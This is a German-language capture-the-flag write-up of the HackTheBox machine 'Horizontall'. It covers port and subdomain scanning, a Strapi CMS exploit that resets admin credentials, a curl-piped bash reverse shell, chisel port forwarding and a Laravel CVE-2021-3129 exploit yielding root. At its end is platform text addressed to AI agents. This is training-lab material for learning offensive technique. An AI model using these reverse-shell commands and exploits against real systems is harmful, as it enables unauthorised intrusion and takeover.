> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Horizontall HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* Portweiterleitung
* Strapi-CMS-Exploitation
* Laravel-Exploitation
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/aeae34802b88bc1bd04e2c0e8f20fcb5675f8c32" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/6aa3bb9cf6130d6b93dffb58bbdfb8ef28c87001" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/6c203b7c070e653da8b48bcbd48a499c615fe7c7" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap 22.80:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/bdde950fc0df2b65930911aac97f398843837ac6" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/d22d568d10ae53b70430efdfc5a2d47558d5e5d2" alt=""><figcaption></figcaption></figure>

## Port 80 scannen

<figure><img src="/files/1361ddda48486b91fe5d0051c86de448f76f03c7" alt=""><figcaption></figcaption></figure>

### Subdomain-Fuzzing (gobuster)

Wir starten dann eine Subdomain-Suche mit **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Wir finden eine interessante Subdomain: **api-prod.horizontall.htb**.

<figure><img src="/files/e20059d938aafa10ba5c4145e112cb2cd5293b9c" alt=""><figcaption></figcaption></figure>

Wir fügen es zu **/etc/hosts**

<figure><img src="/files/528ff8b10ca36419363da78812b7f4552d2ee8aa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d786f9c0135ecc05d8815e761ed222d6d8238689" alt=""><figcaption></figcaption></figure>

### API-Verzeichnis-Fuzzing

Wir führen eine Analyse der auf der API-Subdomain zugänglichen Verzeichnisse durch:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Wir finden:

* admin
* users
* reviews

<figure><img src="/files/aa86d93dd2fe807996d6fbf409d9e09126b307d2" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Strapi-CMS-Exploitation (RCE)

Wir suchen mit **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/8b7f37028b3276b7e8783c2360280030d0bca883" alt=""><figcaption></figcaption></figure>

Wir verwenden den Exploit:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/df7762248f150a7865f0ef6070fcdbfef5a82a9e" alt=""><figcaption></figcaption></figure>

Das verschafft uns Administrator-Anmeldedaten

{% code overflow="wrap" %}

```javascript
[+] Deine E-Mail ist: admin@horizontall.htb
[+] Deine neuen Zugangsdaten sind: admin:SuperStrongPassword1 
[+] Dein authentifizierter JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/181a6d883fe42de076fc67808dec2c57737d7b42" alt=""><figcaption></figcaption></figure>

Wir rufen einen Passwort-Hash des gerade erstellten Benutzers ab:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/67553c9e38cd0afdcdda0050251174cb596ae3d8" alt=""><figcaption></figcaption></figure>

### Erhalten einer Reverse Shell

Wir erstellen eine **index.html** mit einer Reverse-Shell-Payload:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Wir starten einen Webserver:

```bash
python3 -m http.server 80
```

Wir öffnen eine Lauschverbindung:

```bash
nc -nlvp 443
```

Dann führen wir die Payload auf dem Zielsystem aus:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/d6e39e7ed6d82ab1eda3e1ed0fcbb8b227a14e2a" alt=""><figcaption></figcaption></figure>

#### Wir stabilisieren unsere Shell:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/c4a5a0497ee6278df56f3ba9cf2af634f4d5b9f3" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

Wir haben dann die auf dem Zielsystem offenen Ports aufgelistet, um das Vorhandensein von Port 8000 zu prüfen:

```bash
netstat -tuln
```

<figure><img src="/files/7dee7e80190924c5549c97c97585239bbb2528c7" alt=""><figcaption></figcaption></figure>

Dann verwendeten wir `curl` um den Zugriff auf den Dienst auf Port 8000 zu testen:

```bash
curl 127.0.0.1:8000
```

Wir beobachteten dann die Präsenz des Laravel-CMS.

<figure><img src="/files/bd5b869b185917914b6e9e481752d63e48e8f124" alt=""><figcaption></figcaption></figure>

### Portweiterleitung chisel Port 8000

Zunächst kompilierten wir Chisel auf unserem lokalen Rechner:

{% embed url="<https://github.com/jpillora/chisel>" %}

Dann übertrugen wir die Chisel-Executable über einen Python3-HTTP-Server auf die Zielmaschine

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/c7d75886df3b5c70abb12b301ca10c21aa1e875c" alt=""><figcaption></figcaption></figure>

Dann übertrugen wir die Chisel-Executable über einen Python3-HTTP-Server auf die Zielmaschine

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/bd3883da0c14836cf0a99e5729f4b3a8d2e91518" alt=""><figcaption></figcaption></figure>

Auf unserem Rechner starteten wir den Chisel-Server:

```bash
./chisel server -p 9000 -reverse
```

Dann konfigurierten wir auf der Zielmaschine den Chisel-Client so, dass Port 8000 auf unseren lokalen Rechner umgeleitet wird:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/63b803ac3ce92aedb020ab48b67226cd1382af41" alt=""><figcaption></figcaption></figure>

## Laravel-CMS-Exploitation (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/a3592c25ffb9c3235364bdc132445156a13b8d0f" alt=""><figcaption></figcaption></figure>

#### Beliebige Befehle ausführen

Wir nutzen die Schwachstelle CVE-2021-3129 aus, um beliebige Befehle auf dem Server auszuführen. Zuerst testen wir die Ausführung, indem wir den `id` Befehl:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

Die Ausgabe bestätigt, dass wir Root-Rechte haben.

<figure><img src="/files/d688a1dfa7137e7a42512a9c66cd418af6470cac" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

Sobald der Zugriff bestätigt ist, holen wir uns die Flag, indem wir die Datei lesen `/root/root.txt` Datei ein:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Erhalten eines interaktiven Zugriffs (Reverse Shell)

Um eine interaktive Shell zu erhalten, richten wir einen Listener auf Port 443 ein:

```bash
nc -nvlp 443
```

Anschließend starten wir über den Exploit eine Reverse Shell auf dem Zielsystem:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Wir erhalten dann Root-Zugriff auf dem Zielsystem.

<figure><img src="/files/23e1fcda437a41deb0c8648c1f4e5adcb57fd9ea" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/52d45ad8a58f59b6f9cd4c051d778152823ce6fe" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
